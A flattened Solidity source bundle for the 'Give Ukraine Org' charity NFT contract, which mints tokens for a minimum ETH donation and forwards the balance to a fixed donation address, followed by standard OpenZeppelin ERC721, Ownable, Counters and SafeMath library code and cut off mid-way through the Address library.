-100,
-100,
-100
]
|
// SPDX-License-Identifier: GPL-3.0
//
// 🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦
//
// Made with ❤️ for Ukraine
// Hope to support in their fight 🆘
//
// 🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦🇺🇦
//
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract GiveUkraineOrg is ERC721, Ownable {
using Strings for uint256;
using SafeMath for uint256;
using Counters for Counters.Counter;
// Private variables
Counters.Counter private _tokenSupply;
string private _contractURI;
// Constants
address public constant UKRAINE_DONATION_ADDRESS = 0x165CD37b4C644C2921454429E7F9358d18A45e14;
uint256 public constant MAX_SUPPLY = 24891;
uint256 public constant MAX_GIFTS = 42;
uint256 public constant MIN_DONATION_PER_NFT = 0.024081991 ether;
string public constant BASE_EXTENSION = ".json";
// We will reveal the collection in batches to avoid making all the donars wait till full mint
// 4200 NFTs per batch except the first and last batch
string[6] public baseURIs;
bool[6] public revealed = [false, false, false, false, false, false];
bool uriFrozen = false;
string public notRevealedURI;
uint256 public giftedAmount = 0;
constructor(string memory _initContractURI, string memory _initNotRevealedURI) ERC721("Give Ukraine Org", "GIVEUA") {
setContractURI(_initContractURI);
setNotRevealedURI(_initNotRevealedURI);
}
/////////////////////////////////
// Private & Internal
/////////////////////////////////
function _batchId(uint256 tokenId) internal pure returns (uint256) {
return tokenId.div(4200);
}
function _safeMint(address _to) private {
_tokenSupply.increment();
_safeMint(_to, _tokenSupply.current());
}
modifier withinSupply(uint256 mintAmount) {
require(mintAmount > 0, "Mint at least 1!");
require(_tokenSupply.current() + mintAmount <= MAX_SUPPLY, "Exceeds max supply!");
_;
}
modifier costs(uint256 mintCost) {
require(msg.value >= mintCost, "Not enough ETH to mint!");
_;
}
modifier legalBatch(uint256 batch) {
require(batch >= 0, "Batch number must be 0 or higher!");
require(batch < baseURIs.length, "Batch number overflow!");
_;
}
modifier urlMutable() {
require(!uriFrozen, "URIs are frozen. Can't update.");
_;
}
/////////////////////////////////
// Public
/////////////////////////////////
/**
* @dev I want to donate and mint NFTs...
*/
function donateAndMint(uint256 _mintAmount)
public
payable
withinSupply(_mintAmount)
costs(MIN_DONATION_PER_NFT * _mintAmount)
{
if (address(this).balance >= 3 ether) {
donate();
}
for (uint256 i = 0; i < _mintAmount; i++) {
_safeMint(msg.sender);
}
}
/**
* @dev Lock in royalties to Ukraine address
*/
function contractURI() public view returns (string memory) {
return _contractURI;
}
/**
* @dev Show me the NFT
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Token does not exist!");
uint256 batchId = _batchId(tokenId);
if (revealed[batchId] == false) {
return notRevealedURI;
}
string memory batchBaseURI = baseURIs[batchId];
return bytes(batchBaseURI).length > 0
? string(abi.encodePacked(batchBaseURI, tokenId.toString(), BASE_EXTENSION))
: "";
}
/**
* @dev I wonder how many GiveUAs are left?
*/
function remainingSupply() public view returns (uint256) {
return MAX_SUPPLY - _tokenSupply.current();
}
/**
* @dev I wonder how many GiveUAs are minted?
*/
function tokenSupply() public view returns (uint256) {
return _tokenSupply.current();
}
/**
* @dev Donate any remaining balance to Ukraine...❤️
*/
function donate() public payable {
(bool os, ) = payable(UKRAINE_DONATION_ADDRESS).call{value: address(this).balance}("");
require(os);
}
/////////////////////////////////
// Owner only
/////////////////////////////////
/**
* @dev For the team, early promoters and such.
* - Limited to MAX_GIFTS
*/
function mintGifts(address[] calldata receivers)
public
onlyOwner
withinSupply(receivers.length)
{
require(giftedAmount + receivers.length <= MAX_GIFTS, "Ran out of gift tokens");
for (uint256 i = 0; i < receivers.length; i++) {
giftedAmount++;
_safeMint(receivers[i]);
}
}
/**
* @dev Meh
*/
function setNotRevealedURI(string memory _newNotRevealedURI)
public
onlyOwner
urlMutable
{
notRevealedURI = _newNotRevealedURI;
}
/**
* @dev Image cart coming through...
*/
function setBaseURI(uint256 _batch, string memory _newBaseURI)
public
onlyOwner
legalBatch(_batch)
urlMutable
{
baseURIs[_batch] = _newBaseURI;
revealed[_batch] = true;
}
/**
* @dev Meh
*/
function setContractURI(string memory _contractURINew)
public
onlyOwner
urlMutable
{
_contractURI = _contractURINew;
}
/**
* @dev Setting things in stone
*/
function freezeURI() public onlyOwner {
uriFrozen = true;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
